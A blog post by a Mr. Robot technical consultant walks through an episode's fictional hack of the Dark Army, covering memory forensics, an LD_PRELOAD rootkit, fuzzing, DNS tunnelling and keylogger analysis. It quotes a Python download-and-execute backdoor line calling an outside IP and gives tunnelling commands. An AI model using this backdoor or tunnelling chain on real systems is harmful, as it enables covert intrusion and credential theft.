Mr. Robot Disassembled: eps3.8_stage3.torrent
Hello friend. I’m Ryan Kazanciyan, Technical Consultant for Mr. Robot. I’ve been working with Kor Adana — Writer, Producer, and mastermind behind the ARG — and the rest of the Mr. Robot team since the second half of Season 2. Throughout Season 3, I’ll be writing about the hacks depicted in the show, how they came together, and their basis in reality.
Spoiler Alert! This post discusses events from Season 3 Episode 9.
Welcome back! Last week’s outstanding — but hack-free — episode gave me a chance to take a hiatus, and to review the production notes that Kor and I assembled for the remainder of the season. That turned out to be a wise move, as I had lost track of the sheer amount of work that went into the technical scenes for “eps3.8_stage3.torrent”. Twenty pages of notes, seven video clips, a dozen screenshots, and five VM snapshots, to be precise.
For this week’s post, I wanted to provide a complete walkthrough of how Elliot compromised the Dark Army, including all of the gory details for our infosec-savvy viewers (and those eager to learn more). The attack sequence crams in everything from memory forensics to fuzzing and exploit development, rootkits, and covert command-and-control. We weren’t aiming to make things complex for complexity’s sake. Owning the Dark Army shouldn’t be cheap or easy, even for Elliot.
Our standard realism disclaimers apply. We have to take creative license and adapt to the condensed timeframes directed by the story. The entire attack plays out in just a few on-screen minutes towards the end of the episode. In the show’s universe, these events occurred over many hours. In the real-world, it would be days or weeks. But the process and details behind each step remain authentic.
Hunting for a rootkit
Elliots’s plan begins with a risky move: he has to deliberately put himself in harm’s way. He sets up a meeting with Grant to talk about “stage 3”, which ostensibly involves hacking Ecoin to strike a killing blow to E Corp. In truth, he expects that the Dark Army operatives would confiscate his laptop and install malware in an attempt to monitor him. This provides a sliver of opportunity for Elliot to turn the tables on the Dark Army and attack their own systems.
The meeting goes as expected, and Elliot makes it back home alive and in one piece. The hunt begins: he needs to confirm that his system is infected, find the malware, and assess its capabilities. Does it log keystrokes? Steal files? What C2 addresses does it interact with?
As I’ve covered in previous posts, I’ve spent more time on incident response and breach investigations than any other fields in security. So I decided to go all-out for this scene, channeling my inner nerd through Elliot and having him show off some of his forensics skills.
When we first cut to his screen, we see that he has been working with the Volatility Framework — the most widely-used memory forensics tool. At this point, Elliot has already dumped memory from his infected system to a file named “out.mem” and moved it to a clean analysis system. He’s now midway through running a series of analysis steps to search for the Dark Army’s malware.
Why would Elliot rely on memory forensics rather than other tools or techniques? The Dark Army might have infected his system with a rootkit, effectively hiding their malware from the operating system and other software. Memory analysis can provide a low-level, unadulterated view of evidence on a system. Artifacts in memory can also provide insight into recent activity, including malware usage, that might not be preserved elsewhere.
All of these shots are based on analysis of a real memory image from a Linux system that I built — and infected with a rootkit — in my home lab. Let’s walk through each command.
vol.py -f out.mem --profile=kali linux_find_file -F /etc/ld.so.preload
The first argument,--profile kali, tells Volatility how to parse the memory snapshot; i.e. what type of system it came from. “kali” is not an out-of-the-box profile; prior to this step, Elliot would have gone through the process of generating it from the source system. The second part of this command, linux_find_file -F /etc/ld.so.preload, searches for files that have been cached in memory. The output, 0xffff880028c740c0, is an inode value — an address describing where the file resides on disk.
vol.py -f out.mem --profile=kali linux_find_file -i 0xffff880028c740c0 -O ld.so.preloadSame plugin, linux_find_file, but different usage. These command line arguments tell Volatility to dump the contents of the memory-cached file at the specified inode address. “-O” specifies the output file name for the dump: ld.so.preload. We’ll get to the meaning of this file in a moment.
cat ld.so.preload
Displays the contents of ld.so.preload, as dumped from memory in the previous step. The file is a single line: /usr/local/lib/libhd.so. A “.so” file in Linux is analagous to a DLL in Windows — it’s a library containing code that can be loaded and used by processes.
vol.py -f out.mem --profile=kali linux_proc_maps | grep libhd.so
The linux_proc_maps plugin reveals details about the memory space of running processes, including references to shared libraries that they’ve used. The output of this command is piped to grep libhd.so. In short, Elliot is looking for processes that use code in libhd.so. The command produces two hits for process ID 39238 — an instance of Python.
Let’s pause for a moment — why was Elliot interested in the file /etc/ld.so.preload in the first place? He’s looking for evidence of a debugging feature, LD_PRELOAD, that many Linux rootkits abuse to hide their tracks. LD_PRELOAD allows you to specify a “.so” file that gets loaded before any other libraries. If that library implements any functions — say, those used to list processes or network connections — it will override what would otherwise be called from the standard system libraries.
Ok, libhd.so is the rootkit. But what is it designed to hide? The last two Volatility commands reveal a bit more:
vol.py -f out.mem --profile=kali --pid=39238 linux_psaux
Lists basic details about PID 39238 — the Python process identified by the previous command. Its arguments definitely look suspicious:
python -c import urllib;exec urllib.urlopen("http://192.251.68.228/index").read()This is a second-stage backdoor running through a Python process that’s hidden by the rootkit. A single line of instructions, passed over the command-line, downloads and executes any Python code hosted at the specified URL. When building this scenario out in my VMs, I used a Python-based backdoor generated with Pupy.
One last Volatility command:
vol.py -f out.mem --profile=kali --pid=39238 -D dump/ linux_procdump
This dumps memory for the backdoor process to a directory, allowing Elliot to perform further analysis on its behavior and capabilities.
Crafting an exploit
The next time we cut to Elliot’s screen, we’ve jumped ahead in time and can infer that he’s finished reviewing the Dark Army’s backdoor on his system. Among other features, the malware monitors his activity and transfers any newly-created files to one of their C2 servers.
When sophisticated attack groups steal large volumes of data from their victims, they often have a back-end that automates the collection and indexing processes. But Elliot is a high-priority target. It’s reasonable to infer that a human analyst would be assigned to review any interesting files that were stolen from his system. This gives Elliot an opportunity to plant a malicious PDF and wait for a Dark Army operator to open it.
Elliot might have a bit of foreknowledge from prior dealings with the Dark Army, but he can’t be sure which PDF viewer his victim might use. To maximize his odds of success, he’d likely have to bundle together multiple exploits — including some unpatched zero-days. All of this could take days or weeks at best, even if he had a stockpile of bugs and prior research to jump-start his efforts. To work within the constraints of this scene, we had to employ some creative license and reduce the effort to a matter of hours.
Regardless of the timing, I wanted to ensure we captured accurate elements of the vulnerability discovery process. That starts with finding a bug that can be harnessed to execute malicious code.
This shot includes two windows: American Fuzzy Lop (afl-fuzz) in the background, GNU debugger (gdb) in the foreground. Afl-fuzz is a “fuzzer” — a tool that automatically generates large volumes of invalid data, runs it through an application’s inputs, and monitors for crashes and other errors. Aside from being popular among bug hunters for its powerful features, afl-fuzz looks really cool in motion (especially for a console application), so I thought it’d be a good fit for this scene.
Note the text at the top of the window: american fuzzy lop 1.83b (evince). “evince” is the title of the application that’s being fuzzed — it’s the default PDF viewer for many distributions of Linux. That tells us that Elliot plans to embed his exploit in a document file.
A fuzzer might identify dozens of crashes; the next step is to evaluate which of them might lead to an exploitable vulnerability. That’s where the gdb debugger in the foreground window comes into play. Based on the prompt, we can see that Elliot is using a plugin, “gdp-peda”, which provides helpful functions for exploit development.
He first uses the gdb “run” command to replay one of the crash scenarios identified by afl-fuzz:
Gdb reports a segmentation fault:
Is this bug exploitable? Elliot would perform further analysis to examine the state of the system at the time of the crash. In my original mock-ups, I designed a few more screens of him running additional commands in gdb. These ended up being cut for time:
For the record, no, I did not actually find any exploitable vulnerabilities in “evince”. The afl-fuzz and gdb screens are all based on authentic usage of these tools, but I chose (and renamed) another binary that had lots of crash bugs as a target).
The next screen comes after another jump ahead in time. Elliot is writing Python-based exploit code that utilizes one of the bugs he found from the fuzz testing. The window contains shellcode, along with a reference to the PDF filename that will carry the payload: “ecoin_vuln_notes.pdf”.
After completing the exploit and incorporating any malware it needs to deliver, Elliot can copy the file back to his infected system. Then it’s just a matter of waiting for the Dark Army to take the bait.
Hacking back (with tunnels in tunnels)
A Dark Army operator, tasked with the dull work of reviewing an inbox full of stolen files, opens Elliot’s PDF. The “evince” viewer starts up, and after a slight delay, displays the file — a mundane advertisement for Ecoin Loans. Unaware and unsuspecting, he closes the document and carries on. Of course, that was enough to trigger Elliot’s exploit and deliver the first stage of his attack.
In the background, we see part of the Dark Army’s web-based control panel. This site is Elliot’s ultimate target: with the right level of access, it would provide the ability to monitor and manage all of their infected systems around the world. Of course, the site isn’t just sitting on the internet — it’s on the Dark Army’s private network. Elliot needs to tunnel through the operator’s infected system, and steal his logon credentials along the way.
I wanted Elliot’s initial compromise to set up a covert command-and-control channel that could bypass typical firewall rules. I ended up designing these next few shots around an open-source tool called iodine, which provides the ability to tunnel IPv4 traffic over DNS. This sets up the communications channel from the infected operator’s system back to Elliot’s control server.
We return to Elliot’s screen after another time jump. During the gap, Elliot used his foothold on the operator’s system to set up iodine and steal SSH keys, and install additional malware.
The window on the left shows Elliot setting up the receiving end of the DNS tunnel and assigning his server a non-routable IPv4 address to be used within the tunnel.
root@kali:~# iodined -f 172.17.0.1 u1rbr0uz.net
Enter password:
Opened dns0
Setting IP of dns0 to 172.17.0.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain test.comThe window on the right shows Elliot SSH’ing to the victim system’s own address within the tunnel, using the previously stolen SSH keys.
root@kali:~# ssh garyhost@172.17.0.2 -q -C -D 22381
Welcome to Ubuntu Kylin 14.04.3 LTS (GNU/Linux 3.19.0–25-generic i686)The SSH option “-D 22381” option sets up a SOCKS proxy through the connection, bound to local port 22381. Elliot can now configure a browser to use that proxy endpoint, and route his web access through the Dark Army operator’s system. This is a crazy nesting-doll of tunnels: HTTP over SSH over DNS via iodine. It really works (I tested it in my lab to be sure) — albeit slowly.
With that connection in place, Elliot has the ability to access the Dark Army’s private web infrastructure. But he still needs a URL and the username and password to log on to the control panel.
The first stages of Elliot’s attack — not shown on screen — dropped a keystroke logger on “garyhost”. In the next screen, we see Elliot searching through the data that it captured so far.
Elliot strings together three commands
cat /dev/nu11
Displays the contents of the keylog output file, which is disguised to look like the legitimate Unix device “/dev/null” (note the number 1 instead of the letter ‘l’).
sed 's/\[ENTR\]/&\n/g'
Parses the output to produce a new line whenever the keylogger recorded the “[ENTR]” key. This is simply for readability and ease-of-analysis.
grep -C 1 -i garyhost
Searches for the string “garyhost” — the Dark Army operator’s username — and returns one line above and below any matches. Elliot is trying to find an address, username, and password typed in consecutive order. He gets one hit:
192.251.68.236[ENTR]
garyhost[ENTR]
huntr[BS]er3[BS]2[ENTR]The keylogger sequence “[BS]” represents backspace — so Gary’s password is “hunter2”. Looks like the Dark Army could do a better job of enforcing strong credentials (or two-factor authentication) for their internal web applications.
Elliot logs in. The password works. He now owns the Dark Army — or at least a critical piece of their infrastructure. With access to their web-based control panel, he can see the true scale and extent of their hacks around the globe.
Take note of the organizations listed to the left of the map. The Dark Army clearly has been busy. Many of these reflect government agencies and non-profits that have been subjected to real-world compromises attributed to Chinese nation-state hackers and other threat groups.
Security researchers might recognize that our design is heavily inspired by the control panel for the “Beta Bot” malware, as shown below:
Many command-and-control frameworks — especially those used to manage some of the world’s biggest botnets — have surprisingly well-designed user interfaces!
If you’ve made it this far, you probably noticed a conspicious absence of anything related to Trenton’s e-mail, Romero’s keyloggers, or FBI Sentinel. There are still a few more secrets — and hacks — to reveal as season three draws to a close. I’ll be back next week to cover them all with one last edition of “Mr. Robot: Disassembled”.
